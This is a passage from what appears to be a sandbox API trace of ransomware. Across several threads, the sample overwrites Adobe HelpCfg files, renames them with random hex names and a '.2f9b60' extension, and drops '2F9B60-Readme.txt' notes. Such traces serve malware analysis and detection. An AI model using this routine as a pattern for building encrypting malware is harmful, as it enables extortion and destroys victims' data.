Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d3c [0215.279] WriteFile (in: hFile=0x1d3c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x311af930, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x311af930*=0xba9, lpOverlapped=0x0) returned 1 [0222.408] CloseHandle (hObject=0x1d3c) returned 1 [0224.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431879e0) returned 1 [0224.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505cd0) returned 1 Thread: id = 2526 os_tid = 0x1fec [0155.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br\\reader_10.0.helpcfg")) returned 0x20 [0155.014] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0155.016] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x2fd1fb00 | out: lpFileSize=0x2fd1fb00*=349) returned 1 [0155.016] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.016] ReadFile (in: hFile=0xd88, lpBuffer=0x2fd1fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fd1fac8, lpOverlapped=0x0 | out: lpBuffer=0x2fd1fa80*, lpNumberOfBytesRead=0x2fd1fac8*=0x4, lpOverlapped=0x0) returned 1 [0155.017] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda760 [0155.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda7f0 [0155.018] NtQuerySystemTime (in: CurrentTime=0x2fd1f9c0 | out: CurrentTime=0x2fd1f9c0*=132462177601570000) returned 0x0 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x3f51a5d8 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x53b8da77 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x490c434b [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x7816da37 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x532f9aab [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0xf81fde1 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x11b57b35 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x73852fa0 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x499dd135 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x65af3e30 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x55875cf1 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x32dd55b2 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x7aab7dbf [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x3f58c07 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x39e82921 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x1c60256 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x6c830b53 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x12f75ea9 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x46307c7a [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x47222ae1 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x70b5a21a [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x55adc575 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x429e7490 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x6ca9afb8 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x42afdcf7 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x39ecc0a1 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x333d6016 [0155.018] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x6693ad40 [0155.019] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x60a2a673 [0155.019] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x15fc323e [0155.019] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x68ff0393 [0155.019] RtlRandomEx (in: Seed=0x2fd1f9b0 | out: Seed=0x2fd1f9b0) returned 0x24f07148 [0155.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda820 [0155.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ce40 [0155.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda850 [0155.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ce40) returned 1 [0155.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda7f0) returned 1 [0155.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced22e0 [0155.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ce40 [0155.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428bbe10 [0155.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428bfa20 [0155.028] ReadFile (in: hFile=0xd88, lpBuffer=0x428bbe10, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2fd1f9b0, lpOverlapped=0x0 | out: lpBuffer=0x428bbe10*, lpNumberOfBytesRead=0x2fd1f9b0*=0x15d, lpOverlapped=0x0) returned 1 [0155.028] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.028] WriteFile (in: hFile=0xd88, lpBuffer=0x428bfa20*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2fd1f9b4, lpOverlapped=0x0 | out: lpBuffer=0x428bfa20*, lpNumberOfBytesWritten=0x2fd1f9b4*=0x15d, lpOverlapped=0x0) returned 1 [0162.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c60 [0162.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c90 [0162.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c90) returned 1 [0162.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428bfa20) returned 1 [0162.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428bbe10) returned 1 [0162.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ce40) returned 1 [0162.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced22e0) returned 1 [0162.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa960 [0162.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced22e0 [0162.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ce40 [0162.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c90 [0162.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c90) returned 1 [0162.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aad20 [0162.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c90 [0162.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0162.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0162.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ce40) returned 1 [0162.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced22e0) returned 1 [0162.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c153b0 [0162.480] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.480] WriteFile (in: hFile=0xd88, lpBuffer=0x42c153b0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fd1fad0, lpOverlapped=0x0 | out: lpBuffer=0x42c153b0*, lpNumberOfBytesWritten=0x2fd1fad0*=0x118, lpOverlapped=0x0) returned 1 [0166.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0166.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0166.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdd9350 [0166.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9320 [0166.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0166.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0166.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd864f0 [0166.444] sprintf (in: _Dest=0x1cd864f0, _Format="%c%c" | out: _Dest="44") returned 2 [0166.444] sprintf (in: _Dest=0x1cd864f2, _Format="%c%c" | out: _Dest="8c") returned 2 [0166.444] sprintf (in: _Dest=0x1cd864f4, _Format="%c%c" | out: _Dest="dd") returned 2 [0166.444] sprintf (in: _Dest=0x1cd864f6, _Format="%c%c" | out: _Dest="e1") returned 2 [0166.444] sprintf (in: _Dest=0x1cd864f8, _Format="%c%c" | out: _Dest="38") returned 2 [0166.445] sprintf (in: _Dest=0x1cd864fa, _Format="%c%c" | out: _Dest="a6") returned 2 [0166.445] sprintf (in: _Dest=0x1cd864fc, _Format="%c%c" | out: _Dest="e9") returned 2 [0166.445] sprintf (in: _Dest=0x1cd864fe, _Format="%c%c" | out: _Dest="f5") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86500, _Format="%c%c" | out: _Dest="c2") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86502, _Format="%c%c" | out: _Dest="52") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86504, _Format="%c%c" | out: _Dest="49") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86506, _Format="%c%c" | out: _Dest="bc") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86508, _Format="%c%c" | out: _Dest="7f") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8650a, _Format="%c%c" | out: _Dest="87") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8650c, _Format="%c%c" | out: _Dest="21") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8650e, _Format="%c%c" | out: _Dest="83") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86510, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86512, _Format="%c%c" | out: _Dest="fe") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86514, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86516, _Format="%c%c" | out: _Dest="d2") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86518, _Format="%c%c" | out: _Dest="61") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8651a, _Format="%c%c" | out: _Dest="44") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8651c, _Format="%c%c" | out: _Dest="cb") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8651e, _Format="%c%c" | out: _Dest="c5") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86520, _Format="%c%c" | out: _Dest="3d") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86522, _Format="%c%c" | out: _Dest="91") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86524, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86526, _Format="%c%c" | out: _Dest="22") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86528, _Format="%c%c" | out: _Dest="7f") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8652a, _Format="%c%c" | out: _Dest="45") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8652c, _Format="%c%c" | out: _Dest="f0") returned 2 [0166.445] sprintf (in: _Dest=0x1cd8652e, _Format="%c%c" | out: _Dest="66") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86530, _Format="%c%c" | out: _Dest="af") returned 2 [0166.445] sprintf (in: _Dest=0x1cd86532, _Format="%c%c" | out: _Dest="c9") returned 2 [0166.446] sprintf (in: _Dest=0x1cd86534, _Format="%c%c" | out: _Dest="ce") returned 2 [0166.446] sprintf (in: _Dest=0x1cd86536, _Format="%c%c" | out: _Dest="9d") returned 2 [0166.446] sprintf (in: _Dest=0x1cd86538, _Format="%c%c" | out: _Dest="18") returned 2 [0166.446] sprintf (in: _Dest=0x1cd8653a, _Format="%c%c" | out: _Dest="fa") returned 2 [0166.446] RtlInitAnsiString (in: DestinationString=0x2fd1fb48, SourceString="448cdde138a6e9f5c25249bc7f8721831afe1ad26144cbc53d911a227f45f066afc9ce9d18fa" | out: DestinationString="448cdde138a6e9f5c25249bc7f8721831afe1ad26144cbc53d911a227f45f066afc9ce9d18fa") [0166.446] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fd1fb18, SourceString="448cdde138a6e9f5c25249bc7f8721831afe1ad26144cbc53d911a227f45f066afc9ce9d18fa", AllocateDestinationString=1 | out: DestinationString="448cdde138a6e9f5c25249bc7f8721831afe1ad26144cbc53d911a227f45f066afc9ce9d18fa") returned 0x0 [0166.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863380 [0166.446] RtlFreeAnsiString (AnsiString="4") [0166.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0166.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0166.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9320) returned 1 [0166.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c153b0) returned 1 [0166.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aad20) returned 1 [0166.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c90) returned 1 [0166.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa960) returned 1 [0166.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c60) returned 1 [0166.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda760) returned 1 [0166.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda820) returned 1 [0166.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda850) returned 1 [0166.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862930 [0166.449] wcscat (in: _Dest=0x1b862930, _Source="448cdde138a6e9f5c25" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\448cdde138a6e9f5c25") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\448cdde138a6e9f5c25" [0166.449] wcscat (in: _Dest=0x1b862930, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\448cdde138a6e9f5c25.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\448cdde138a6e9f5c25.2f9b60" [0166.449] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\448cdde138a6e9f5c25.2f9b60", NtPathName=0x2fd1faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\448cdde138a6e9f5c25.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205ece0 [0184.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ece0) returned 1 [0184.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c520) returned 1 [0184.058] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x2fd1fb58, FileInformation=0x2fd1fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fd1fb58, FileInformation=0x2fd1fb68) returned 0x0 [0184.058] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x2fd1fb58, FileInformation=0x2fd1fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0187.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862930) returned 1 [0187.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863380) returned 1 [0187.872] FlushFileBuffers (hFile=0xd88) returned 1 [0187.875] CloseHandle (hObject=0xd88) returned 1 [0199.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431e33a0 [0199.907] wcscpy (in: _Dest=0x431e33a0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\" [0199.907] wcscat (in: _Dest=0x431e33a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\2F9B60-Readme.txt" [0199.907] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br\\2f9b60-readme.txt")) returned 0xffffffff [0199.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x868 [0204.249] WriteFile (in: hFile=0x868, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2fd1fa10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2fd1fa10*=0xba9, lpOverlapped=0x0) returned 1 [0209.484] CloseHandle (hObject=0x868) returned 1 [0216.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e33a0) returned 1 [0216.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505d70) returned 1 Thread: id = 2527 os_tid = 0x1ff0 [0155.034] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro\\reader_10.0.helpcfg")) returned 0x20 [0155.034] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x788 [0155.036] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2f45fc20 | out: lpFileSize=0x2f45fc20*=349) returned 1 [0155.036] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.036] ReadFile (in: hFile=0x788, lpBuffer=0x2f45fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f45fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f45fba0*, lpNumberOfBytesRead=0x2f45fbe8*=0x4, lpOverlapped=0x0) returned 1 [0155.037] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda7f0 [0155.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda880 [0155.038] NtQuerySystemTime (in: CurrentTime=0x2f45fae0 | out: CurrentTime=0x2f45fae0*=132462177601726000) returned 0x0 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x574472e0 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x1a33dbaa [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x6083c7a2 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x7937fd18 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x602079c4 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x3b8b5da3 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x347bc86e [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x55932f69 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x54b487b7 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x6dad1b69 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0xce7f3db [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x49d48983 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x39bd5061 [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x10a0a31d [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x64dfda5a [0155.038] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0xb4e74da [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x7067347e [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x49d41252 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x6566ebfe [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x2c69dfa6 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x2cc90ffe [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x197c732d [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x67a6a069 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x3648b853 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x3c76b735 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x11f96796 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x3410b274 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0xe1faa86 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x4f8cb469 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x70fe3d9f [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x22a1be09 [0155.039] RtlRandomEx (in: Seed=0x2f45fad0 | out: Seed=0x2f45fad0) returned 0x6ba6f089 [0155.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda8b0 [0155.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cec0 [0155.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda8e0 [0155.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 